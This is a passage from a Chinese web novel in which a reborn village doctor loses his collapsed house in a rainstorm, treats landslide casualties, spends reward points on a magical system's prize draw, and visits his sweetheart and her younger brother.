随后,他便开始在菜园里忙活起来,挖坑、插杆、用细麻绳固定,一个简易又牢固的菜架子很快便成型了。 做完这些,他又顺手用剩下的竹子和茅草,在院子角落给两条狗搭了个能遮风挡雨的窝棚。 接下来的一个星期,江沐的生活规律得像一台精准的钟表。 卫生所、家、后山采药,三点一线。 随着他治好的人越来越多,名声越来越响,系统面板上的声望值也在稳步上涨。 到了周末,声望值已经达到了1046点。 这个数字,刚好足够来一次十连抽。 但江沐看着抽奖界面的转盘,却迟迟没有下手。 上一次的十连抽着实有些手黑,净是些不痛不痒的日用品,他决定再攒一个星期,看看会不会转运。 然而,天公不作美。 从周一开始,天上就飘起了雨,而且丝毫没有要停的意思。 到了第二天,雨势骤然变大,浑黄的雨水倾盆而下,豆大的雨点砸在屋顶的瓦片上,噼里啪啦响成一片。 江沐正坐在屋里看医书,忽然听到厨房传来异响。 他走过去一看,只见厨房的屋顶正中央,一滴滴水珠正顺着房梁渗下来,在地上积起了一小滩水洼。 漏雨了! 江沐的眉头瞬间紧锁,他抬头看着被雨水浸得颜色发深的房梁。 这土坯房本就不甚牢固,再被这暴雨连着冲刷几天…… 这房子,该不会塌了吧? 第51章 家里的房子……塌了 一声木头断裂的脆响,从厨房方向传来。 江沐从床上坐起来,还没等他做出任何反应,耳边就传来一声巨响! 不是瓦片掉落,不是房梁渗水,而是实实在在的崩塌! 伴随着泥土砖石坠落的闷响,一股狂风从厨房方向倒灌进来。 完了,厨房塌了! 江沐心头一沉,迅速披上衣服下床。 也就在这时,院门被擂得砰砰作响。 “小江!江沐!你没事吧?!开门啊!” 是隔壁的赵文! 江沐几步跨过去拉开门栓,只见赵文赤着脚,身上就披了件单衣,浑身湿透地站在门口。 “赵大哥?你怎么……” “我听见你这边响了一声!吓死我了!”赵文一把抓住江沐的胳膊,上下打量着他,见他安然无恙,才松口气,“你人没事就好!是哪儿塌了?” 江沐侧身让他进来,指了指厨房方向。 “就那儿,房顶整个掉下来了。” 赵文探头一看,借着堂屋里微弱的灯光,只见原本是厨房的地方,此刻已经成了一个黑漆漆的大洞,雨水正往里灌,地上满是断裂的椽子和烂泥。 “这屋子太老了,年久失修,经不起这么大的雨。你家咋样?没漏吧?”江沐反过来关心道。 “我家没事!”赵文摆摆手,“我那是结婚时新盖的,地基打得牢,瓦也铺得厚实。小江,你这地方不能再住了!这雨看样子一时半会儿停不了,万一堂屋也跟着塌了,那可是要出人命的!” 他一把拉住江沐的手臂,“别收拾了!今晚先去我家挤挤!” 江沐心中一暖。 但他犹豫了片刻,还是摇了摇头。 他身上的秘密太多,去别人家终究不方便。 “多谢赵大哥,心意我领了。我去卫生所那边住,那边是砖瓦房,结实。我把铺盖和几件要紧的东西拿过去就行。” “去卫生所也行!”赵文一听,觉得这主意也不错,至少安全,“那你等着,这雨下得跟天漏了似的,你一个人弄不了!我去喊几个人来帮你!” 话音未落,赵文转身就冲进了瓢泼大雨之中。 趁着这个空档,江沐立刻行动起来。 他没有去收拾那些锅碗瓢盆,而是意念一动,将床底下藏着的那个装着珍贵药材和银针的木箱,连同系统出品、不便示人的几样东西,收进了系统空间。 做完这一切,他才把被褥、换洗衣物和一些书籍打了几个简单的包袱。 没过多久,院门口就传来一阵脚步声和说话声。 赵文带着他哥哥赵武,还有村里另外两个壮劳力,打着手电筒,披着蓑衣就赶了过来。 “小江,快!咱们抓紧时间!” 众人二话不说,冲进屋里。 赵武扛起床板,另外两人一人拎着一个大包袱,赵文则举着手电筒在前面照路,一行人就这么顶着暴雨,深一脚浅一脚地往公社卫生所赶去。 雨水模糊了视线,道路泥泞不堪,但没有人有一句怨言。 到了卫生所,他们帮江沐把东西搬进那间临时的宿舍里,浑身上下已经没有一处是干的了。 “行了,小江,东西都给你搬过来了。剩下的你自己慢慢拾掇,我们先回去了!”赵武抹了把脸上的雨水,笑了笑。 江沐将他们送到门口,看着他们再次冲入那片黑暗的雨幕中,心中百感交集。 他没有说什么矫情的感谢话,只是将这份恩情,记在了心底。 他发誓,今日之情,来日必将十倍奉还! 关上门,江沐开始整理这个临时的家。 虎虎和生威则在新地盘里一圈圈地巡视,喉咙里发出呜咽声,警惕着门外的一切风吹草动。 雨,没有丝毫要减小的迹象。 到了后半夜,睡梦中的赵文再次被一声巨响惊醒! 这一次的响动,比之前那次更加沉闷,更加骇人! 赵文一个激灵从炕上坐起,心脏狂跳。 他第一时间冲出屋子,借着屋檐下的灯光,骇然发现,隔壁江沐那座土坯房……只剩下一片废墟。 他惊出一身冷汗,连忙回头检查自家房子的墙角屋梁,确认没有裂缝后,那颗悬着的心才稍稍放下。 真是老天保佑,幸亏把小江提前弄走了! 第二天天不亮,江沐是被一阵急促的挠门声和叫声吵醒的。 他拉开门,虎虎和生威立刻冲了出去,站在廊下对着院外狂吠。 雨势终于小了一些,变成了细雨,江沐站在卫生所的屋檐下,遥遥望向家的方向,眉头紧紧锁了起来。 他知道,自己那个刚住了没多久的家,恐怕已经彻底没了。 一夜无眠。 窗外淅淅沥沥的雨声,敲打在卫生所的青瓦上,也敲打在江沐的心上。 他索性不再强迫自己入睡,睁着眼,在黑暗中静静地听着。 直到天色微明,雨声才渐渐稀疏,最终在清晨七点左右,彻底停歇。 空气中弥漫着雨后特有的清新泥土芬芳,却驱不散江沐心头的沉闷。 他意念一动,声望商城里,一个声望点兑换了一份热气腾腾的早餐——一碗皮蛋瘦肉粥,配上两根刚出锅的金黄油条。 在这物资匮乏的年代,这无疑是帝王般的享受。 温热的粥进入胃里,驱散了后半夜的寒意,也让他的思绪重新变得清晰。 他惦记着那个已经化为废墟的家。 简单洗漱后,江沐锁好卫生所的门,踩着满是泥泞的土路往回走。 雨水将道路冲刷得坑坑洼洼,一脚下去,泥浆能没过脚踝。 路上陆续遇到早起出工的社员,见到他无不惊讶。 “小江大夫,恁早啊!这是去卫生所上班?”一个挎着篮子的王大娘好奇地探过头。 江沐扯了扯嘴角,露出苦笑,“王大娘早。不瞒您说,我昨晚就睡在卫生所了。” “啊?为啥呀?” “家里的房子……塌了。” “啥?!” 一石激起千层浪。 这消息瞬间在清晨宁静的村子里传开了。 一路上,不断有人停下来,用同情又庆幸的目光打量他,七嘴八舌地询问着情况。 等江沐走到自家院门口时,那里已经里三层外三层围满了人,对着那片狼藉指指点点,唏嘘不已。 院墙塌了一半,原本的堂屋和厨房已经彻底消失,只剩下几截残垣断壁立在晨光下的泥泞里。 屋里的桌椅板凳、锅碗瓢盆,全都被埋在了厚厚的泥土和断裂的木梁之下,惨不忍睹。 第52章 想让他们活命的,就都过来帮忙 赵文第一个发现了他,连忙挤出人群迎上来,一巴掌重重拍在他的肩膀上,“小江,你可算回来了!我早上去看你不在,还以为你……” 他上下打量着江沐,见他精神尚可,那颗悬着的心才算彻底放下,长舒一口气。“人没事就好!他娘的,只要人还在,房子没了咱再盖!” 周围的社员们也纷纷附和,言语间满是安慰。 “是啊小江,留得青山在,不怕没柴烧!” “这老天爷真是不开眼,多好的后生啊,咋就遭这罪……” 所有人都以为江沐会深受打击,垂头丧气。 然而,他们看不见的是,江沐情绪异常平和。 完了吗? 不,是开始了! 旁人眼中的灭顶之灾,在江沐心里,却掀起了波澜。 是机会!一个千载难逢的机会! 破而后立,不外如是! 他正愁没个由头推倒那破旧的土坯房,盖一所真正属于自己的、坚固明亮的砖瓦房。 现在,老天爷亲自帮他把拆迁的活儿给干了。 他朝众人点了点头,脸上挤出劫后余生的苦涩笑容,算是回应了大家的好意。 然后,他卷起袖子,开始在废墟里翻找一些还能用的家当。 一番折腾,也只抢救出几件摔得不成样子的陶碗和一口变形的铁锅。 江沐不再留恋,转身便朝卫生所走去。 他现在需要找一个关键人物,把盖房子的事,提上日程。 …… 卫生所里,李有柱正蹲在屋檐下,抽着旱烟,显然也是在为江沐的事发愁。 看到江沐回来,他猛地站起身。 “小江,我听说了,你那屋子……” “塌了,塌得一干二净。”江沐的语气平静得有些反常。 李有柱愣了一下,随即重重一拳砸在门框上,骂了句脏话。“他娘的!我就知道那破房子不牢靠!你小子……命真大!” 江沐看着他的模样,心里一暖,反而笑了起来。 “队长,旧的不去,新的不来嘛。” “你还笑得出来?”李有柱叹了口气,“也是,不然还能哭咋地?这事儿你打算咋办?队里匀个空屋给你先住着?” “不用。”江沐摇了摇头,“队长,我想自己盖个新的,盖砖瓦的!” 李有柱被他这想法惊得烟都忘了抽,烟灰掉了一身。 “盖砖瓦房?你小子疯了?你知道那得多少钱?光是砖就不是那么好弄的!” “钱,我有一些。”江沐说得风轻云淡,“至于砖,这不就得靠队长您想办法了?” 看着江沐那不似开玩笑的认真神情,李有柱沉默了。 他猛吸了一口烟,将烟屁股在鞋底上摁灭。 “行!你小子既然有这个心,那我可以给你参谋参谋!”他压低了声音,凑到江沐耳边,“公社砖窑厂的会计是我表弟!你要是真有钱,我去和他说,保证给你弄个最低价!” 江沐眼睛一亮,心中大定。 正说着,一个身影从院外走来,是公社书记周志康。 “小江同志!”周志康看到江沐,几步跨上前来,紧紧握住江沐的手,“你的事我听说了!都怪我,那房子有一些年久失修……唉!” 他从口袋里掏出一个用手帕包着的东西,硬要往江沐手里塞。 “这是给你的一点补偿,你先拿着!” 江沐一捏就知道是钱,连忙推了回去。 “周书记,这使不得!房子塌了是天灾,跟您没关系,这钱我不能要!” 开玩笑,他要的是人心和支持,不是这点蝇头小利。 就在两人推搡之际,一个浑身是泥、神色慌张的汉子连滚带爬地冲进了院子大喊。 “周书记!李队长!不好了!出大事了!” 来人是隔壁一大队的村民刘洋,他上气不接下气,“山……山塌了!我们一大队后山滑坡,半个村子……半个村子都被泥石流给冲垮了!!” “什么?!”周志康和李有柱惊讶道。 李有柱反应最快,一把抓住刘洋的胳膊。“伤了多少人?!” “不知道啊!到处都是哭喊声!埋了好多人!”刘洋带着哭腔,“我们队长让我赶紧来求援!快去救人啊!” “操!”李有柱二话不说,转身就冲向村里的大喇叭。 刘洋看了他一眼,又对周志康喊道。“书记,我再去别的队喊人!”说完,便头也不回地冲向了下一个村子。 很快,广播声响彻了整个青莲公社二大队的上空。 “紧急通知!紧急通知!一大队发生山体滑坡,需要紧急救援!队里所有壮劳力,所有男人!立刻放下手里的活,到大队部集合!重复一遍……” 几乎是瞬间,田间地头,家家户户,一个个精壮的汉子扔下锄头、放下碗筷,来到队部。 江沐自然也不例外,他甚至没回卫生所拿药箱,因为他知道,那种规模的灾难,一个小小的药箱根本杯水车薪。 …… 当二大队的救援队伍赶到一大队时,所有人都被眼前的景象。 半座山头都秃了,泥石流从山上咆哮而下,将沿途的一切房屋、树木、田地尽数吞没。 空气中弥漫着血腥味和泥土的腥气,到处都是哭喊声、呼救声。 一大队队长刘满意双眼通红,正指挥着村民用手刨、用锄头挖。 见到李有柱带人赶到,他立刻跑过来:“老李!谢天谢地!别废话,先救人!” “明白!”李有柱一挥手,身后上百号汉子冲进了泥潭。 江沐没有跟着去挖人,他的战场不在这里。他一把拉住刘满意。“刘队长,伤员在哪?” 刘满意这才注意到他,“你是……二大队的江大夫?” “是我!伤员在哪儿?!” “好!好!你跟我来!”刘满意也知道医生的重要性,立刻带着江沐朝村里地势较高的一处晒谷场跑去。 那里已经临时安置了二三十个伤员,或躺或坐,呻吟声此起彼伏。 有的人胳膊腿扭曲成诡异的角度,显然是骨折了; 有的人头上、身上血肉模糊,触目惊心。 几个妇女在一旁哭哭啼啼,束手无策。 看到这一幕,江沐立刻意识到不够,人手完全不够! 他一个人,就是有三头六臂,也应付不了眼前的惨状! 但他没有慌乱,立刻做出了判断。 “都别哭了!”他大吼一声,声音盖过了所有的呻吟和哭泣,成功镇住了场面,“想让他们活命的,就都过来帮忙!” 他指着一个断了腿、疼得满地打滚的汉子,对周围的人下令:“去找竹子!结实的老竹子!劈成巴掌宽的竹板,越多越好!快去!” 一个四十多岁的妇女反应最快,抹了把眼泪,站了出来。 “大夫,要啥样的竹板?多长的?” “能固定住胳膊和腿就行!”江沐迅速解释,“我要给骨折的伤员做夹板!你们先去找,我先处理这些皮外伤!” 他的目光扫过全场,迅速完成了伤情分类。 重度骨折、可能内出血的,暂时不能动。 轻度骨折的,等待夹板。 至于那些只是被碎石划破、流血不止的轻伤员,则是他现在要争分夺秒处理的第一批目标! 第53章 死伤以及财产损失触目惊心 江沐的动作很快。 清洗,消毒,止血,包扎……每一个步骤都干净利落,没有多余的动作。 这点伤,在前世的手术室里,连开胃菜都算不上。 不过十来分钟,七八个哭爹喊娘的轻伤员便被他处理完毕,暂时止住了血,稳定了情绪。 他刚直起腰,一阵脚步声由远及近。 先前那个四十多岁的妇女去而复返,身后还跟着几个壮汉,每个人都扛着一捆新劈的、边缘还带着毛刺的青竹板。 “大夫!竹板来了!你看这些成不成?”那妇女气喘吁吁,额上沁出细密的汗珠。 江沐扫了一眼,点点头。“够了!长短厚薄都正好!” 妇女见状,麻利地指挥汉子们放下竹板,然后转向江沐,主动开口:“小江大夫,我叫贾丹,是三大队的妇女主任。我们队长带人去挖人了,这边你最大,你指挥,我们都听你的!” 江沐对这位叫贾丹的妇女主任高看了一眼。 在这种时候,一个清晰的指挥核心至关重要。 他也不客气,现在不是谦虚的时候。 “好!贾主任,那就辛苦你了!”他的目光扫向那些因骨折而痛苦呻吟的伤员。 “接下来我要正骨,会非常疼!你找几个力气大的,两个人按住一个,千万不能让他们乱动,否则骨头接歪了,这条腿就废了!” “哎!我明白!”贾丹立刻会意,转身就去点人。 江沐又看向旁边几个六神无主的年轻媳妇。 “你们,去烧热水!越多越好!再找些干净的布巾,待会儿给他们擦拭伤口用!” 众人如梦初醒,纷纷领命而去。 一个临时却高效的战地救护站,在江沐的调度下,雏形初现。 “啊——!” 一声惨叫响起。 江沐双手握住一个汉子的小腿,摸准断骨的茬口,手腕猛然发力,只听一声轻响,错位的骨头被他强行复位。 那汉子疼得浑身抽搐,汗如雨下。 按着他的两个壮劳力也是青筋暴起,几乎用尽了全身的力气。 【叮!疾病收集器已收录闭合性胫骨骨折信息,声望+5!】 【叮!疾病收集器已收录开放性尺骨骨折信息,声望+8!】 系统提示音在脑海中接连响起,江沐却无暇顾及。 他迅速拿起两块竹板,用带来的最后一点纱布缠绕固定,一个简易的夹板便做好了。 “下一个!”他头也不抬,语速极快。 一卷纱布很快告罄。 看着下一个被抬上来的伤员血肉模糊的胳膊,江沐眉头紧锁。 “贾主任!纱布用完了!有没有干净的布条?” 贾丹点点头,她二话不说,转身冲进旁边一间还算完好的屋子。 片刻之后,她抱着一床崭新的印花被单跑了出来,徒手撕成了无数根宽窄合适的布条。 “大夫,用这个!这是我给闺女准备的嫁妆,干净!” 江沐看了她一眼,点了点头,接过布条,继续投入到紧张的救治中。 惨叫声此起彼伏,但更多的是劫后余生的啜泣声和感激。 在江沐神乎其技的手法下,二十多个骨折伤员的伤情都被初步固定,为后续治疗赢得了宝贵的时间。 他站起身,擦了把脸上的汗水和血污,环视一圈,询问道,“还有没有受伤的?” 人群静默了一瞬,一个年轻的母亲抱着一个三四岁的孩子,挤了进来。 “江大夫……我,我娃他……他发烧了!浑身滚烫!” 江沐接过孩子一摸,额头烫得惊人。 他立刻从随身的小布包里取出一支退烧针剂和注射器。 那孩子一看到明晃晃的针头,立刻吓得大哭起来,手脚并用地挣扎。 江沐眉头一皱,随即像是想起了什么,从口袋里摸出一颗水果糖,剥开糖纸,塞进了孩子的嘴里。 甜味瞬间占据了味蕾,孩子的哭声戛然而止,愣愣地吮吸着糖果。 就是现在! 江沐毫不犹豫,捏起孩子胳膊上的一小块肉,针头稳准狠地扎了进去,迅速推完药剂,拔出。 整个过程行云流水,不过两三秒。 等孩子反应过来,想再次大哭时,江沐已经把糖又塞回了他嘴里。 处理完所有伤员,江沐走出这个临时的安置点,才发现三大队和四大队的救援队赶到了! 人群中,有两个熟悉的身影。 一个是未来岳父张峰,另一个是未来的大舅哥张玖博。 他们父子俩同样满身泥浆,手里拿着铁锹。 江沐走了过去,声音有些疲惫。“张叔,玖博哥。” 张峰看到他,粗犷的脸上露出欣慰,重重地拍了拍他的肩膀。 “好小子!叔都听说了!干得漂亮!这里有我们,你快去歇歇!” 张玖博也递过来一个水壶。“沐子,喝口水,你脸色太难看了。” 简单的问候,却让江沐紧绷了一上午的神经稍稍放松。 就在这时,公社书记周志康也带着公社的干部和民兵赶了过来,看到现场井然有序的伤员救治区,和远处的救援场面,他对江沐充满赞许。 二百多号人,就这样在泥潭里奋战了一整天。 直到夜幕降临,初步的救援才算告一段落。 一大队死亡五十二人,重伤三十七人,房屋几乎全毁,财产损失不计其数。 死伤以及财产损失触目惊心! 拖着灌了铅似的双腿,江沐回到了二大队。 他没有直接去卫生所,而是先绕到了大队书记高志强家。 一进院门,两条半大的狼青犬就兴奋地扑了上来,正是他寄养在这里的虎虎和生威。 高志强正在院里抽着闷烟,看到他,连忙掐了烟。 “小江,回来了?快进屋坐坐。” 江沐摸了摸两条狗的脑袋,在高家坐了一会儿,听着高志强说着后续的安置计划,才牵着狗回了卫生所。 第二天,天刚蒙蒙亮,江沐便起身去了公社。 他先到卫生院,领了一大批纱布和常用药,然后又拐到供销社,咬牙买下了一个小煤炉和二十斤煤球。 一直住在卫生所,总不能不开火做饭,日子总得过下去。 当他扛着煤炉,拎着煤球回到卫生所时,惊讶地发现,院门口围着一群孩子,正跟虎虎和生威玩得不亦乐乎。 看到江沐回来,那几个平日里受过他恩惠的孩子一下围了上来,帮他卸下煤球,搬进屋里。 江沐看着他们忙碌的身影,心中一暖,平日里给他们的几颗糖,没有白费。 一个年龄稍大的孩子边搬边说:“江大夫,我听我爹说,高书记家要盖新房了!给他家大儿子高建设娶媳妇用!” 第54章 发了!这一次是真的血赚! 第二天一早,他简单吃了点东西,便牵着虎虎和生威,朝着高志强家走去。 “嘿咻!起!” “往这边点,哎,对喽!” “老三家的,你那土别倒那么高,挡着路了!” 高志强家院子外头的空地上,早已是人声鼎沸,热火朝天。 几十号青壮劳力赤着膀子,挥舞着锄头和铁锹,泥土翻飞,一条地基轮廓正在这片喧嚣中被一寸寸地勾勒出来。 这便是农村的人情与力量,一家有事,百家来帮,不为工分,不为钱粮,图的就是个互助。 江沐将虎虎和生威拴在不远处的一棵老槐树下,嘱咐它们不许乱跑,然后卷起袖子,从墙角抄起一把闲置的铁锹,便加入了挖土的行列。 他没把自己当成什么神医,更没觉得高人一等。 在这里,他就是青莲公社的一个知青,一个需要靠劳动换取工分的普通社员。 “哎?小江大夫,你咋也来了!”一个眼尖的汉子瞧见了他,咧着嘴打招呼。 江沐笑了笑,手上动作却没停,一铲子下去,一块泥土便被翻了上来。 “高书记家的大事,我来搭把手,出份力。” 他的话朴实无华,却瞬间拉近了与众人的距离。 这些庄稼汉子最敬佩有本事还没架子的人,江沐这番举动,无疑让他们心里舒坦熨帖。 正干得起劲,一道大嗓门从背后响起。 “你小子,跑来逞什么能,这是你该干的活吗?!” 江沐回头,只见二大队队长李有柱一抹脸上的汗,正大步流星地朝他走来。 “李队长,我没事,我能干!”江沐直起身,用袖子擦了把下巴的汗珠。 李有柱上下打量了他几眼,看他确实不像有事的样子,这才压低了声音,用胳膊肘碰了碰江沐。 “你那房子的事,咋想的?周书记可跟我提了,公社给批了木料和补助,就等你开口了。” 江沐心中一暖。 他望向那片工地,“我问过高书记了,这十里八乡,就一个泥瓦匠工程队,手艺最好。总得有个先来后到,等建设哥这房盖完了,我再动工也不迟。” 李有柱闻言,眼神里透出几分赞许。 这小子,年纪不大,做事却通透周全,不争不抢,是个明白人。 他重重一拍江沐的肩膀,咧嘴一笑。 “成!有你这句话,队长我心里就有底了!到时候要盖房了,你提前跟我说一声,我带你去砖窑厂,保准给你挑最好的青砖!” “那就先谢谢李队长了。” 人多力量大,这话一点不假。 原本预计要挖上两三天的地基,在几十号人的齐心协力下,不过一上午的功夫,便已基本成型。 等到日头升到正当空,几辆板车拉着第一批青砖赶到,众人又一鼓作气,将一块块沉重的青砖卸下,整整齐齐地码放在地基旁。 剩下的,便是砌墙抹灰的细致活,那是泥瓦匠师傅的主场了。 高志强夫妇端出大盆的绿豆汤,挨个给众人道谢。 乡亲们擦着汗,喝着汤,说说笑笑地便各自散去。 接下来的两天,江沐一边在卫生所处理些日常病患,一边留意着救援后续。 一大队的安置工作在公社的统筹下有条不紊地进行着。 期间,孙阳又悄悄来了一趟,取走了新一批的滋补丹,江沐的声望也随之增长。 【叮!当前声望值:1432点。】 夜深人静,江沐盘腿坐在卫生所的木板床上,意识沉入脑海。 看着那一千四百多的声望值,他的心头一片火热。 上次滑坡救援,让他深刻意识到自己能力的不足,若是当时能有一套专业的外科手术工具,或者几支强效的抗生素,或许就能多救下几个人。 必须尽快提升实力! 他深吸一口气,意念集中在声望商城那金光闪闪的抽奖轮盘上。 “先来一次单抽试试水!” 他没有选择稳妥的兑换,而是将希望寄托于运气。 一百点声望瞬间消失,轮盘飞速旋转起来。 指针最终缓缓停在了一片最不起眼的白色区域。 【叮!恭喜宿主获得:黄色封面读物一本。】 江沐的脸瞬间就黑了。 他意念一动,一本封面泛黄、边角卷起的小册子凭空出现在他手中。 这玩意儿,不就是后世地摊上两块钱一本的…… “坑爹呢这是!”他暗骂一声,随手就将这本精神食粮塞进了床铺的夹缝里。 他不信邪,决定再来一次。 “再抽!” 又是一百点声望投入,轮盘再次转动。 这一次,指针越过了大片的白色区域,精准地停在了蓝色之上。 【叮!恭喜宿主获得:宠物锻体丹(蓝色)一份。】 总算不是垃圾了! 这东西,正好能给虎虎和生威用上。 既然开了个好头,那就……搏一票大的! “系统,十连抽!” 一千点声望值划走,整个轮盘爆发出璀璨光芒! 最终,光芒散去,十个奖励格子依次亮起。 五次白色,三次蓝色,两次金色! 大爆! 他强压住内心的狂喜,开始一一查看。 白色区域的,是肥皂、毛巾、牙刷之类的生活用品,虽然普通,却也解了燃眉之急。 而蓝色区域的奖励,则让他呼吸都变得急促起来。 【叮!获得温润翡翠手镯一对。】 【叮!获得64式手枪一把。】 【叮!声望100点。】 江沐的目光盯着那把静静躺在系统空间里的手枪。 这东西,在这个年代,是能要人命的护身符,也是能引来杀身之祸的催命符! 他瞬间决定,不到万不得已,绝不动用。 而最后的金色光芒,更是让他震惊。 【叮!恭喜宿主获得锻体丹(金色)一枚!】 【叮!恭喜宿主获得金色强化卡一张!(可对系统出品的任意物品或技能进行一次完美强化)】 发了!这一次是真的血赚! 尤其是那张金色强化卡,简直是神级道具! 江沐心念电转,这东西必须用在刀刃上,现在还不是时候。 他收敛心神,从系统空间取出了三枚丹药。 两枚泛着蓝光,一枚则散发着淡淡的金芒。 “虎虎!生威!” 他低喝一声,原本趴在门口打盹的两条狼青犬立刻精神抖擞地跑了过来,用脑袋蹭着他的腿。 这两个小家伙长得极快,不过月余的功夫,体型已经快要追上生养它们的母狗。 江沐将两枚蓝色的宠物锻体丹分别弹入它们的口中。 两条狗喉咙一动,便吞了下去,随即歪着脑袋看着他。 做完这一切,江沐不再犹豫,将那枚散发着金芒的锻体丹直接抛入口中。 第55章 姐!你有了江沐哥就忘了亲弟弟 药力入喉,轰然炸开,冲向四肢百骸! 江沐闷哼一声,只觉得全身的骨骼都在发出脆响,皮肤之下带来一阵阵剧痛。 但他死死咬紧牙关,眼神清明,引导着这股力量淬炼着身体的每一个角落。 也不知过了多久,那股灼热感渐渐褪去,取而代之的是舒畅。 江沐睁开眼,轻轻一握拳,筋骨之间,充满了力量。 他的五感也变得无比敏锐,甚至能清晰地听到门外草丛中一只蟋蟀振动翅膀的声音。 脱胎换骨! 这金色锻体丹,竟有如此神效! 感受着体内澎湃的力量,江沐的心绪却渐渐平复,脑海中不由自主地浮现出一张清丽的脸庞。 张小月。 那场惊心动魄的山体滑坡之后,还没来得及去看看她。 心中挂念一起,便再也按捺不住。 他翻身下床,简单收拾了一下,便推着那辆崭新的二八大杠自行车,离开了卫生所。 …… 张小月家院门紧锁,铁将军把门,显然是没人。 “小江大夫,找小月啊?”隔壁院里,一个正在择菜的李奶奶探出头来,脸上堆着笑。 江沐连忙停下车,礼貌地颔首。“是啊,李奶奶,您知道她去哪儿了吗?” “嗨,还能去哪儿?带着她那个皮猴子弟弟,去村东头的河滩上割猪草去了!这俩孩子,勤快着呢!” 李奶奶指了个方向。 “谢了您嘞,李奶奶!” 江沐跨上自行车,车轮滚滚,朝着村东头飞驰而去。 河滩边,青草萋萋,野花烂漫。 江沐一眼就看到了那两个熟悉的身影。 张小月正弯着腰,用一把小镰刀麻利地收割着鲜嫩的猪草。 不远处的张小虎则有些心不在焉,一边割草,一边拿石子打水漂。 “小月!”江沐远远地喊了一声。 张小月闻声猛地一抬头,镰刀都差点掉在地上。 当看清来人是江沐时,她的眼睛瞬间就亮了。 “小虎,你自个儿在这割,我过去一下!”她急急地对弟弟丢下一句话,连手都来不及擦,就小跑着迎了上去。 张小虎一听,立刻想着江沐哥来了?是不是又带啥好吃的了? 他立马扔了手里的镰刀,屁颠屁颠地跟在了姐姐身后。 “江沐哥,你……你怎么来了?”张小月跑到近前,才觉得自己的举动有些过于急切,脸颊不由得有些发烫,声音也小了下去。 江沐看着她微红的脸蛋和眼中的欣喜,心中一暖,嘴角不自觉地扬起。 “想你了,就来看看。” 张小月的脸颊瞬间滚烫,她低下头,手指紧张地绞着衣角。 “江沐哥又给小虎带好吃的了吗?”张小虎可不管那些,他仰着小脸,一双眼睛盯着江沐的口袋。 江沐被他逗乐了,伸手揉了揉他的脑袋。“今天没带,下次给你补上。” “还割吗?”江沐看了一眼他们身后那个半满的背篓。 张小月还没从羞赧中回过神来,闻言下意识地摇了摇头,随即又觉得不妥,眼珠一转,指着身后的弟弟。 “不割了!剩下的,都交给他这个男子汉了!” 张小虎的脸顿时垮了下来,嘟着嘴,委屈道。 “姐!你有了江沐哥就忘了亲弟弟!” 童言无忌,却让张小月的脸更红了。 一行三人往回走。 江沐看着张小虎费力地拖着那个大背篓,便停下了车。 “小虎,会骑车吗?” “会!我早就会了!”张小虎立刻挺起小胸膛,生怕江沐不信。 “那成,车你来骑。”江沐将车把交给他,自己则轻松地将那个沉甸甸的背篓甩到背上。 他又转头看向张小月,目光柔和。“你会吗?” 张小月摇了摇头,“没学过。” “没事,等有空了,我教你。”江沐的语气自然而然。 张小月低着头嗯了一声,声音细若蚊蚋。 到了家,张小虎得了宝贝似的,推着自行车在院子里一圈圈地疯玩。 江沐和张小月则坐在屋檐下的石阶上,享受着难得的静谧。 “前几天那场大雨,你没事吧?”张小月终究还是忍不住,问出了心底最深的担忧。 江沐沉默了片刻,才开口。“我住的那土坯房,塌了。” “啊?!”张小月猛地站了起来,伸手就想去检查江沐的身体。 “你……你没受伤吧?人没事吧?” 看着她急得快要哭出来的样子,江沐连忙拉住她的手腕。 “我没事,一点皮外伤,早好了。房子塌的时候我不在屋里。” 张小月这才松了口气,可心还是揪着的,眼圈泛红。 “那……那你现在住哪儿?” “暂时住在卫生所。周书记和李队长都批了条子,等高书记家的房子盖完,就轮到我了,过几天就动工。” “盖房子?”张小月毫脱口而出,“到时候我……我也去帮忙!我力气大,能递砖,能和泥!” 话一出口,她又觉得有些不好意思。 就在这时,张小虎垂头丧气地从院外走了进来,两只小手背在身后,眼神躲闪,一副做贼心虚的模样。 张小月一看他这副样子,一股不祥的预感涌上心头。 她几步冲出院子,当看到那辆崭新的自行车时,差点没气晕过去——车把被撞得歪向了一边,斜斜地指着天。 “张!小!虎!”张小月怒火攻心,抄起墙角的鸡毛掸子就要动手。 “姐,我不是故意的……”张小虎吓得哇哇大叫。 “别!”江沐眼疾手快,一把拦住了暴怒的张小月,将她手里的鸡毛掸子夺了下来。 “小孩子淘气,磕磕碰碰难免的,人没事就行。” 他走到自行车旁,蹲下身子,握住歪掉的车把,手臂肌肉微微一紧,只听一声轻响,车把便被他硬生生地扳了回来,分毫不差。 他试着转了转,又检查了一下链条和车轮,确认毫发无损。 张小月松了口气,可心里的火气却没消。 “你给我等着!等爹娘回来了,看他们怎么收拾你!”她指着张小虎的鼻子,撂下狠话。 张小虎自知理亏,不敢还嘴,被姐姐拎着耳朵拽到水缸边,胡乱地抹了把脸。 洗完脸后,他也不敢再进屋,一个人孤零零地抱着膝盖,坐在门槛的台阶上,脑袋耷拉着,看上去可怜兮兮的。 第56章 到时候,还得麻烦各位搭把手 江沐轻笑,这小家伙,刚才还耀武扬威,现在就成了霜打的茄子,这副又可怜又好笑的模样,倒真是让人提不起半分气来。 屋檐下的光线渐渐昏暗,江沐看了看天色,估摸着已经快七点了。 他站起身,拍了拍裤子上的尘土,“小月,不早了,我得回去了。” 张小月也跟着站起来,点了点头,声音轻柔。 “江沐哥,你路上慢点。” “嗯。”江沐应了一声,走到院子里,推起那辆已经恢复如初的自行车。 门槛上的张小虎听到动静,三步并作两步冲过来,一把拉住姐姐的衣角,声音里带上了哭腔。 “姐!好姐姐!我知道错了,你可千万别跟爹说啊!爹要是知道了,非得打断我的腿不可!” 张小月垂眸看着他,脸上的温情早已褪去,换上了一副长姐的严肃。 “现在知道怕了?刚才推着车子疯跑的时候怎么不想想后果?这是自行车没坏,要是坏了呢?” “我错了,我真的错了!”张小虎急得眼泪都快掉下来了,“你就饶了我这一次吧,我再也不敢了,求你了!” 张小月心里何尝不心疼弟弟,可这事不是小事。 江沐哥这辆自行车,崭新锃亮,一看就金贵得很,要是真撞坏了,拿什么赔? 她板着脸,“这件事,我说了不算。你自己想想,是主动跟爹承认错误,还是等爹从别人嘴里听到?到时候,可就不是一顿打那么简单了。” 张小虎知道姐姐说的是实话。 村里就这么大,谁家有点风吹草动,不出半天就能传遍。 他把江沐哥的车撞了这么大的事,肯定瞒不住。 江沐在旁边看着,没有插话。 这是他们的家事,也是对张小虎的一次教育,他一个外人不便多言。 他只是朝张小月笑了笑,便推着车走出了院门。 